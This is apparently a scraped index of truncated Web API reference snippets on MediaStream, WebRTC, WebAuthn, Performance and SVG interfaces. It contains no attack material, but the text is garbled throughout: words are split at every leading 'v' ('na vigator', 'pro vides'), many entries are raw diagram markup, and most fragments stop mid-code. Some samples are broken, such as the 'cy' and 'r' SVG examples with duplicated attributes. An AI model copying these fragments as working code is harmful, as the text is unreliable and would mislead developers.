MediaStreamAudioDestinationNode - Web APIs
the mediastreamaudiodestinationnode interface represents an audio destination consisting of a webrtc mediastream with a single audiomediastreamtrack, which can be used in a similar way to a mediastream obtained from na
vigator.getusermedia.
MediaStreamAudioSourceNode() - Web APIs
// define variables var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // getusermedia block - grab stream // put it into a mediastreamaudiosourcenode if (na
vigator.mediade
vices.getusermedia) { na
vigator.mediade
vices.getusermedia ( // constraints: audio and
video for this app { audio: true,
video: false }).then(function(stream) { var options = { mediastream : stream } var source = new mediastreamaudiosourcenode(audioctx, options); source.connect(audioctx.destination); ...
MediaStreamEvent() - Web APIs
mediastreameventinit is a mediastreameventinit dictionary, ha
ving the following fields: "stream" of type mediastream representing the stream being concerned by the event.
MediaStreamTrack.getSettings() - Web APIs
note: the returned object identifies the current values of every constrainable property, including those which are platform defaults rather than ha
ving been expressly set by the site's code.
MediaStreamTrack.onended - Web APIs
this event occurs when the track will no longer pro
vide data to the stream for any reason, including the end of the media input being reached, the user revoking needed permissions, the source de
vice being removed, or the remote peer ending a connection.
MediaStreamTrack.onunmute - Web APIs
example this example creates an unmute event handler which changes the state of a
visual indicator to display the emoji character representing a "speaker" icon.
MediaStreamTrackEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
MediaTrackConstraints.echoCancellation - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.echocancellation as returned by a call to mediade
vices.getsupportedconstraints().
PerformanceObserverEntryList.getEntriesByName() - Web APIs
byname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'na
vigation', 'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification ...
PerformanceServerTiming - Web APIs
s = { 'server-timing': ` cache;desc="cache read";dur=23.2, db;dur=53, app;dur=47.2 `.replace(/\n/g, '') }; response.writehead(200, headers); response.write(''); return settimeout(_ => { response.end(); }, 1000) }; http.createserver(requesthandler).listen(3000).on('error', console.error); the performanceservertiming entries are now observable from javascript
via the performanceresourcetiming.servertiming property: let entries = performance.getentriesbytype('resource'); console.log(entries[0].servertiming); // 0: performanceservertiming {name: "cache", duration: 23.2, description: "cache read"} // 1: performanceservertiming {name: "db", duration: 53, description: ""} // 2: performanceservertiming {name: "app", duration: 47.2, description: ""} specific...
PermissionStatus.onchange - Web APIs
}) example na
vigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission state has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'onchange' in that specification.
PermissionStatus.state - Web APIs
syntax var permission = permissionstatus.state; example na
vigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'state' in that specification.
PointerEvent.PointerEvent() - Web APIs
pointereventinitoptional is a pointereventinit dictionary, ha
ving the following fields: pointerid — optional and defaulting to 0, of type long, that sets the value of the instance's pointerevent.pointerid.
PointerEvent.height - Web APIs
depending on the source of the pointer de
vice (for example a finger), for a given pointer, each event may produce a different value.
PointerEvent.width - Web APIs
depending on the source of the pointer de
vice (such as a finger), for a given pointer, each event may produce a different value.
PositionOptions.timeout - Web APIs
the positionoptions.timeout property is a positive long value representing the maximum length of time (in milliseconds) the de
vice is allowed to take in order to return a position.
PublicKeyCredential.id - Web APIs
examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var id = newcredentialinfo.id; // do something with the id // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status commen...
PublicKeyCredential.rawId - Web APIs
examples var options = { challenge: new uint8array(26) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var rawid = pubkeycredential.rawid; // do something with rawid }).catch(function (err) { // deal with any error }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rawid' in that specif...
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
// if not, then we will fallback on an rsa algorithm { type: "public-key", alg: -37 } ], challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", } }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key cr...
PushSubscription.unsubscribe() - Web APIs
example na
vigator.ser
viceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { subscription.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscription failed }) }) }); specifications specification status comment push apithe definition of 'unsubscribe()' in that specificati...
RTCAnswerOptions - Web APIs
the rtcansweroptions dictionary is used to pro
vide optional settings when creating an sdp answer using rtcpeerconnection.createoffer() after recei
ving an offer from a remote peer.
RTCCertificate - Web APIs
the interface of the the webrtc api pro
vides an object represents a certificate that an rtcpeerconnection uses to authenticate.
RTCDTMFSender.insertDTMF() - Web APIs
calling insertdtmf() will append the specified tones to the end of the current tone buffer, so that those tones play after the pre
viously-enqueued tones.
RTCDTMFSender: tonechange event - Web APIs
the tonechange event is sent to an rtcdtmfsender by the webrtc api to indicate when dtmf tones pre
viously queued for sending (by calling rtcdtmfsender.insertdtmf()) begin and end.
RTCDataChannel: close event - Web APIs
dc.addeventlistener("close", ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; }, false); all this code does in response to recei
ving the close event is to disable an input box and its "send" button, and to enable the button used to start a call (while disabling the one that ends a call).
RTCDataChannel.label - Web APIs
you may use the label as you wish; you could use it to identify all the channels that are being used for the same purpose, by gi
ving them all the same name.
RTCDataChannel.readyState - Web APIs
it is no longer possible to queue new messages to be sent, but pre
viously queued messages may still be send or received before entering the "closed" state.
RTCRtpReceiver.getStats() - Web APIs
the rtcrtpreceiver method getstats() asynchronously requests an rtcstatsreport object which pro
vides statistics about incoming traffic on the owning rtcpeerconnection, returning a promise whose fulfillment handler will be called once the results are available.
RTCRtpReceiver - Web APIs
static methods rtcrtpreceiver.getcapabilities() returns the most optimistic
view of the capabilities of the system for recei
ving media of the given kind.
RTCRtpSendParameters - Web APIs
transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific pre
vious call to getparameters().
RTCRtpSender.getStats() - Web APIs
the rtcrtpsender method getstats() asynchronously requests an rtcstatsreport object which pro
vides statistics about outgoing traffic on the rtcpeerconnection which owns the sender, returning a promise which is fulfilled when the results are available.
RTCRtpSender.setParameters() - Web APIs
transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific pre
vious call to getparameters().
RTCRtpStreamStats.ssrc - Web APIs
the rtcrtpstreamstats dictionary's ssrc property pro
vides the synchronization source (ssrc), an integer which uniquely identifies the source of the rtp packets whose statistics are covered by the rtcstatsreport that includes this rtcrtpstreamstats dictionary.
RTCRtpTransceiver.currentDirection - Web APIs
value rtcrtpsender beha
vior rtcrtpreceiver beha
vior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
RTCRtpTransceiver.direction - Web APIs
value rtcrtpsender beha
vior rtcrtpreceiver beha
vior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
RTCRtpTransceiverDirection - Web APIs
value rtcrtpsender beha
vior rtcrtpreceiver beha
vior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
RTCRtpTransceiverInit - Web APIs
the rtcrtptransceiverinit dictionary is used when calling the webrtc function rtcpeerconnection.addtransceiver() to pro
vide configuration options for the new transceiver.
RTCSctpTransport.state - Web APIs
the state read-only property of the rtcsctptransport interface pro
vides information which describes a stream control transmission protocol (sctp) transport state.
RTCSessionDescription.sdp - Web APIs
syntax var value = sessiondescription.sdp; sessiondescription.sdp = value; value the value is a domstring containing an sdp message like this one: v=0 o=alice 2890844526 2890844526 in ip4 host.anywhere.com s= c=in ip4 host.anywhere.com t=0 0 m=audio 49170 rtp/avp 0 a=rtpmap:0 pcmu/8000 m=
video 51372 rtp/avp 31 a=rtpmap:31 h261/90000 m=
video 53000 rtp/avp 32 a=rtpmap:32 mpv/90000 example // the remote description has been set pre
viously on pc, an rtcpeerconnection alert(pc.remotedescription.sdp); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.sdp' in that spe...
RTCStats.timestamp - Web APIs
syntax var timestamp = rtcstats.timestamp; value a domhighrestimestamp value indicating the time at which the acti
vity described by the statistics in this object was recorded, in milliseconds elapsed since the beginning of january 1, 1970, utc.
RTCTrackEvent() - Web APIs
syntax trackevent = new rtctrackevent(eventinfo); parameters eventinfo an object based on the rtctrackeventinit dictionary, pro
viding information about the track which has been added to the rtcpeerconnection.
SVGAElement - Web APIs
the svgaelement interface pro
vides access to the properties of <a> element, as well as methods to manipulate them.
SVGAltGlyphDefElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgaltglyphdefelement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgaltglyphdefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all...
SVGAltGlyphItemElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgaltglyphitemelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgaltglyphitemelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events:...
SVGAnimateColorElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svganimatecolorelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimatecolorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events...
SVGAnimateElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
SVGAnimateMotionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x...
SVGAnimateTransformElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><...
cx - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg"
viewbox="0 0 100 100" width="200" height="200"> <circle cx="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cx); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cx' in that specification.
cy - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg"
viewbox="0 0 100 100" width="200" height="200"> <circle cy="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cy); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cy' in that specification.
r - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg"
viewbox="0 0 100 100" width="200" height="200"> <circle r="50" r="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.r); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.r' in that specification.
SVGColorProfileElement - Web APIs
methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and implements methods of svgurireference and svgrenderingintent.
SVGDefsElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2...
SVGDescElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2...
SVGExternalResourcesRequired - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgexternalresourcesrequired" target="_top"><rect x="1" y="1" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgexternalresources...
SVGFEFloodElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
SVGGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151"...
SVGGeometryElement.isPointInFill() - Web APIs
example svg <svg
viewbox="0 0 100 100" width="150" height="150" xmlns="http://www.w3.org/2000/svg"> <circle id="circle" cx="50" cy="50" r="45" fill="white" stroke="black" stroke-width="10"/> <circle cx="10" cy="10" r="5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 1...
SVGGeometryElement.isPointInStroke() - Web APIs
example svg <svg
viewbox="0 0 100 100" width="150" height="150" xmlns="http://www.w3.org/2000/svg"> <circle id="circle" cx="50" cy="50" r="45" fill="white" stroke="black" stroke-width="10"/> <circle cx="10" cy="10" r="5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> <circle cx="83" cy="17" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'...
SVGGeometryElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
SVGGlyphRefElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgglyphrefelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} pr...
SVGGraphicsElement: copy event - Web APIs
example html <?xml version="1.0" encoding="utf-8"?> <svg
viewbox="0 0 100 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <text x="5" y="10" id="text-to-copy">copy this text</text> <foreignobject x="5" y="20" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" placeholder="paste it here"/> </foreignobject> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; ...
SVGImageElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" ...
SVGLinearGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line...
SVGMPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" ...
SVGMetadataElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1...
SVGPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2...
SVGRadialGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line...
The 'X' property - Web APIs
usage context name x value <length> | <percentage> initial 0 applies to <mask> , ‘svg’, ‘rect’, ‘image’, ‘foreignobject’ inherited no percentages refer to the size of the current
viewport (see units) media
visual computed value absolute length or percentage animatable yes simple usage a <coordinate> is a length in the user coordinate system that is the given distance from the origin of the user coordinate system along the relevant axis (the x-axis for x coordinates, the y-axis for y coordinates).
SVGRect - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgrect" target="_top"><rect x="1" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrect</text></a></svg></div> a:hov...
SVGRenderingIntent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgrenderingintent" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrenderingintent</text></a></svg></div> a:hove...
SVGScriptElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1...
SVGSetElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="...
SVGSolidcolorElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgsolidcolorelement" target="_top"><rect x="1" y="1" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="101" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsolidcolorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} ...
SVGStopElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
